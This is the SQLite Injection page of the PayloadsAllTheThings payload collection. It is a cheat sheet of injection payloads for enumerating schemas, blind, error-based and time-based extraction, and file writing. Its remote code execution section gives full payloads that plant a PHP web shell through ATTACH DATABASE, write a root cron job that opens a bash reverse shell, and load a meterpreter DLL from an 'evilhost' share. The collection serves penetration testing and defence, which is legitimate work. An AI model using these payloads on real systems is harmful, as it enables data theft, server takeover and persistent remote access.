PayloadsAllTheThings/SQL Injection/SQLite Injection.md
2025-12-07 19:52:51 +01:00

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SQLite Injection

SQLite Injection is a type of security vulnerability that occurs when an attacker can insert or "inject" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.

Summary

SQLite Comments

Description Comment
Single-Line Comment --
Multi-Line Comment /**/

SQLite Enumeration

Description SQL Query
DBMS version select sqlite_version();

SQLite String

SQLite String Methodology

Description SQL Query
Extract Database Structure SELECT sql FROM sqlite_schema
Extract Database Structure (sqlite_version > 3.33.0) SELECT sql FROM sqlite_master
Extract Table Name SELECT tbl_name FROM sqlite_master WHERE type='table'
Extract Table Name SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
Extract Column Name SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
Extract Column Name SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
Extract Column Name SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'
Extract Column Name SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')

SQLite Blind

SQLite Blind Methodology

Description SQL Query
Count Number Of Tables AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < number_of_table
Enumerating Table Name AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=table_name_length_number
Extract Info AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('some_char')
Extract Info (order by) CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('some_char') THEN <order_element_1> ELSE <order_element_2> END

SQLite Blind With Substring Equivalent

Function Example
SUBSTRING SUBSTRING('foobar', <START>, <LENGTH>)
SUBSTR SUBSTR('foobar', <START>, <LENGTH>)

SQlite Error Based

AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END

SQlite Time Based

AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

SQLite Remote Code Execution

Attach Database

This snippet shows how an attacker could abuse SQLite's ATTACH DATABASE feature to plant a web-shell on a server:

ATTACH DATABASE '/var/www/shell.php' AS shell;
CREATE TABLE shell.pwn (dataz text);
INSERT INTO shell.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--

First, it tells SQLite to "treat" a PHP file as a writable SQLite database. Then it creates a table inside that file (which is actually the future web-shell). Finally it writes malicious PHP code into the file.

Note: Using ATTACH DATABASE to create a file comes with a drawback: SQLite will prepend its magic header bytes (5351 4c69 7465 2066 6f72 6d61 7420 3300, i.e., "SQLite format 3"). These bytes will corrupt most server-side scripts, but PHP is unusually tolerant: as long as a <?php tag appears anywhere in the file, the interpreter ignores any preceding garbage and executes the embedded code.

file shell.php  
shell.php: SQLite 3.x database, last written using SQLite version 3051000, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2

If uploading a PHP web shell isnt possible but the service runs with root privileges, an attacker can use the same technique to create a cron job that triggers a reverse shell:

ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;
CREATE TABLE cron.tab (dataz text);
INSERT INTO cron.tab (dataz) VALUES (char(10) || '* * * * * root bash -i >& /dev/tcp/127.0.0.1/4242 0>&1' || char(10));--

This writes a new cron entry that runs every minute and connects back to the attacker.

Load_extension

⚠️ SQLite's ability to load external shared libraries (extensions) is disabled by default in most environments. When enabled, SQLite can load a compiled module using the load_extension() SQL function:

SELECT load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

In the sqlite3 command-line shell you can display runtime configuration with:

sqlite> .dbconfig
    load_extension on

If you see load_extension on (or off), that indicates whether the shell's runtime currently permits loading shared-library extensions.

A SQLite extension is simply a native shared library,typically a .so file on Linux or a .dll file on Windows, that exposes a special initialization function. When the extension is loaded, SQLite calls this function to register any new SQL functions, virtual tables, or other features provided by the module.

To compile a loadable extension on Linux, you can use:

gcc -g -fPIC -shared demo.c -o demo.so

SQLite File Manipulation

SQLite Read File

SQLite does not support file I/O operations by default.

SQLite Write File

SELECT writefile('/path/to/file', column_name) FROM table_name

References